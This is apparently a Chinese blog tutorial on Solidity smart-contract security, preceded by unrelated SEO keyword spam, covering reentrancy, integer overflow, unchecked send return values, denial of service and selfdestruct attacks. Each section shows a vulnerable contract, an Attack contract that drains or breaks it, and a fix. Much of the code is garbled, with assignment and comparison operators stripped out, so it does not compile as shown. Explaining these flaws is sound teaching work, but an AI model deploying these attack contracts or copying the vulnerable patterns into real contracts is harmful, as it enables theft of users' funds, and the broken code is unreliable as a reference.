怎么在国际网站做推广,公司网站设计师,管理方面的培训课程,wordpress 添加字体1.重入攻击
漏洞分析
攻击者利用合约漏洞#xff0c;通过fallback()或者receive()函数进行函数递归进行持续取钱。
刚才试了一下可以递归10次#xff0c;貌似就结束了(version: 0.8.20)。
直接看代码:
银行合约#xff1a;有存钱、取钱、查看账户余额等函数。攻击合约:… 1.重入攻击
漏洞分析
攻击者利用合约漏洞通过fallback()或者receive()函数进行函数递归进行持续取钱。
刚才试了一下可以递归10次貌似就结束了(version: 0.8.20)。
直接看代码:
银行合约有存钱、取钱、查看账户余额等函数。攻击合约: 攻击、以及合约接受以太币就触发的receive()函数。
分析 攻击者通过Attack 合约调用attack()接口,先存钱后进行取钱;那么Bank会向该合约发送以太币,进而触发Attack合约的 receive()函数,然后又进行取钱操作由于形成递归操作Bank合约的withdraw()接口的账户置0操作无法执行从而形成无限递归。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0 0.9.0;contract Bank {mapping (address uint) public balances; // 账户 余额// 存钱函数function desposit() public payable { require(msg.value 0, save money cannot be zero);balances[msg.sender] msg.value;}// 取钱函数function withdraw() public{require(balances[msg.sender] 0,balance is not exists);(bool success,) msg.sender.call{value:balances[msg.sender]}(); // 递归下面的操作必须等待递归之后才能执行balances[msg.sender] 0; // 置0 操作}// 查看账户余额function getBalance() public view returns(uint){return balances[msg.sender];}}contract Attack {Bank public bank;constructor( address _bankAddress){bank Bank(_bankAddress);}// 攻击函数function attack() public payable {bank.desposit{value:msg.value}();bank.withdraw();}receive() external payable {if(address(bank).balance 0){ //如果银行合约还有钱持续调用bank.withdraw();}}
}漏洞解决
1. 采用更为安全的转账函数
原理函数的执行会消耗gas,如果可支付gas不满足 递归消耗的gas从而报错进行合约状态回滚。 address.transfer()发送失败则回滚交易状态只传递 2300 Gas 供调用防止重入。address.send()发送失败则返回 false只传递 2300 Gas 供调用防止重入。address.call()发送失败返回 false会传递所有可用 Gas 给予外部合约 fallback() 调用可通过 { value: money } 限制 Gas不能有效防止重入。 payable 标识符 在函数上添加 payable 标识即可接受 Ether并将其存储在当前合约中。 2.互斥锁
原理: 第一去取钱,状态变量修改为true从而将函数锁住必须等这次函数执行完毕才能重新对函数进行调用。 3. 先将账户余额置0,再转账
原理: 先账户置0就算转账触发递归再次取钱 ,由于账户余额小于0会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约按道理能触发递归接着会报 balance is not exists,但是他却能正常执行但是重入没触发钱存到Bank里没有拿回来。) 2.整形溢出
漏洞分析
算术溢出arithmetic overflow或简称为溢出overflow是指在
计算机领域里所发生的。运行单项数值计算时当计算产生出来的
结果大于寄存器或存储器所能存储或表示的能力限制的情况就称为
算术上溢。反之称为算术下溢。
我的理解输入的数字超过计编程语言的数据类型设置的最大范围表现出的数字跟预想数字不一致。
举例 一个数据类型A取值范围是 0- 5 ,那么3 - 3 ? 对于数据类型A的结果是多少
我们可以把 0 - 5看成一个圈, A的最小值是0, 那么 -1 就是5, 那么-3 就是3;
3 3 6由于A最大值5溢出之后, 6 - 0。
看代码
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0 0.9.0;contract TimeLock {mapping(address uint) public balances;mapping(address uint) public lockTime;// 存钱并且冻结账户一周function deposit() public payable {balances[msg.sender] msg.value;lockTime[msg.sender] block.timestamp 1 weeks;}// 增加冻结时间function addLcokTime(uint _time) public {lockTime[msg.sender] _time;}// 取钱function withdraw() public {require(balances[msg.sender] 0, balance cannot be zrro);require(block.timestamp lockTime[msg.sender] , account is still frozen);uint _value balances[msg.sender];balances[msg.sender] 0;(bool success,) msg.sender.call{value:_value}();}}contract Attack{receive() external payable {}TimeLock public timelock;constructor(address _timelock) {timelock TimeLock(_timelock);}function attack() public payable {timelock.deposit();timelock.addLcokTime(type(uint).max 1 - timelock.lockTime(address(this))
// 传入uint 最大 1 溢出变成0, - timelock.lockTime(address(this)) 与拿到map里的冻结时间,与原先冻结时间相加溢出也变成0. 6 -6 0 );timelock.withdraw();}
}
漏洞解决
其实引入SafaMath库.参考这篇博客其实原理很简单。
solidity合约开发-SafeMath_北纬32.6的博客-CSDN博客
我们把TimeLock 合约修改如下:
我们通过将2个值相加的结果与 2个值进行比较,如果a b发生溢出,那么 c 会小于a 或者b从而抛出异常无法执行。 contract TimnLock {......function sum(uint a, uint b) public pure returns(uint){uint c a b;require(c a c b, overflow is trigger!);return c;}
......}
3. 未检查返回值
漏洞分析
在soldity中,像send、call、callcode、delegatecall和staticcal这些低级函数会产生返回值作为执行结果,如果我们没有对其返回值进行判断很容易发生逻辑错误。
看下面代码
我们Lotton合约中sendTowinner()并没有对send()的结果进行处理。
假如我们没有赞助商通过deposit()赞助奖金,那么 send()函数会因为当前合约balance为0没有足够eth转账,从而返回false。接着 payedOut 变为true。getWinAmount()进而能正常调用。但这并不是我们希望看到的。
我们希望send()成功接着 payedOut 变为true,最后公开金额数量。
contract Lotto{bool public payedOut false;address public winner; // 获胜者uint private winAmount 10000; // 获胜金额// 2.向获胜者发送奖金function sendTowinner(address _addr) public {require(!payedOut);winner _addr;payable(winner).send(winAmount);payedOut true; }// 3. 向外进公开获胜者的金额数量function getWinAmount() public view returns(uint){require(payedOut);return winAmount;}// 1.赞助商赞助奖金function desposit() public payable {winAmount msg.value;}}
漏洞解决 // 向获胜者发送奖金function sendTowinner(address _addr) public {require(!payedOut);winner _addr;bool success payable(winner).send(winAmount); // payable(winner).transfer(winAmount); ,失败直接会报错require(success,send falied);payedOut true; }
4.拒绝服务
我的理解:在soldiity里拒绝服务漏洞可以简单理解为,因为合约内部或者外部账户操作致使合约中的函数能大量消耗gas 和Ether或者不能被访问从而使该函数无法正常执行。
举个例子超市有三个收银点正常来说人们排队在收银点进行扫码支 付但是有一天网络出现了问题所有收银点的顾客扫码支付都失败了 而后面的人也不能进行支付买单就导致了收银点的堵塞超市不能正常 运营。又或者在支付时有顾客故意闹事使得后面的顾客也不能去支 付这同样也会导致超市不能运营。我们可以看到有来自内部的还有来 自外部的都是可能会造成拒绝服务攻击。
1.在外部操控映射或者数组循环
这种情况一般是由于映射或数组循环在外部能被其他人操控,由于映射或数组没有长度没有被限制从而导致大量消耗Ether和Gas。
看代码
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0 0.9.0;
/*
*tile: 分发代币
*/
contract DistributeTokens{uint public amount;address public owner;address[] public investors; // 投资者数组uint[] public investorTokens; // 每个投资者的tokenuint currentIndex; event Transfer(address _from, uint _amount); // 转让代币触发的事件constructor(){owner msg.sender;}// 投资者调用,记录每个投资者的地址和应该分发的代币function invest() public payable {investors.push(msg.sender);investorTokens.push(msg.value *5);}// 首次代币分发function distribute() public {require(msg.sender owner);for (uint i 0;i investors.length gasleft() 30000; i) {transferToken(investors[i],investorTokens[i]);currentIndex i;}}function transferToken(address _from,uint _amount) public {// 在这里执行代币转移操作将代币从合约地址转移到投资者地址amount _amount; // 记录总代币emit Transfer(_from,_amount);}}
在上面的代码片段中我们可以看到distribute() 函数中会去遍历投资者数 组但是合约的循环遍历数组是可以被外部的人进行人为扩充如果有攻 击者要攻击这个合约那么他可以创建多个账户加入投资者的数组让 investors 的数据变得很大大到让循环遍历数组所需的 gas 数量超过区块 gas 数量的上限此时 distribute() 函数将无法正常操作这样就会造成该 合约的拒绝服务攻击。
解决如果合约必须通过一个变长数组进行转账,最好估计区块有多少笔交易从而限制数组长度,另外必须追踪到能够进行到哪以便当操作失败开始从哪里恢复。
上面代码修改:
通过currentIndex 记录遍历数组当前索引以便出异常查询。在循环中,加入gasleft()比较从而限制gas的使用。 2.所有者操作
在代币合约中通常有一个owner账户,也就是合约所有者账户其拥有开启和暂停交易的权限。如果owner地址缺失导致非主观的拒绝服务攻击。 在 ICO 结束后如果特权用户丢失其私钥可能会变为非活动状
态此时无法调用 finalize() 函数开启交易那么用户就一直不能发送代
币合约也就不能进行正常操作了。
解决 : 不能特权用户权限作为唯一判断条件从而导致整个合约瘫痪。 5. 自毁函数
漏洞分析
参考资料:
智能合约安全审计入门篇 —— 自毁函数 | 登链社区 | 区块链技术社区 (learnblockchain.cn)
首先,这个在0.8.21版本自毁函数不支持用了。
看下面代码,我们有一个存钱函数每次只能存一个Ether如果合约余额大于7个Ether就终止,合约balance 7个Ether就选出获胜者,并且能赢得这个7个Ether。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;contract EtherGame {uint public targetAmount 7 ether;address public winner;
// 存钱function deposit() public payable {require(msg.value 1 ether, You can only send 1 Ether);uint balance address(this).balance;require(balance targetAmount, Game is over);if (balance targetAmount) {winner msg.sender;}}// 获胜者取钱function claimReward() public {require(msg.sender winner, Not winner);(bool sent, ) msg.sender.call{value: address(this).balance}();require(sent, Failed to send Ether);}
}然后我们再看漏洞代码将attack()函数将合约自毁后将剩余余额发送给EtherGame合约,
假如我们上面合约余额正好 6eth时,攻击者通过自毁向game合约发送1eth 或大于1eth那么game合约由于合约逻辑将无法选出获胜者。
contract Attack {EtherGame ethergame;constructor(address _ethergame) {ethergame EtherGame(_ethergame);}function attack() public payable {address payable adr payable(address(ethergame));selfdestruct(adr);}
}漏洞解决
不宜使用合约真实balance 来作为逻辑判断条件。
下方我们定义合约余额变量来映射真实合约余额就算攻击者再次利用自毁函数进行攻击,但由于合约余额变量并未改变将攻击失败。
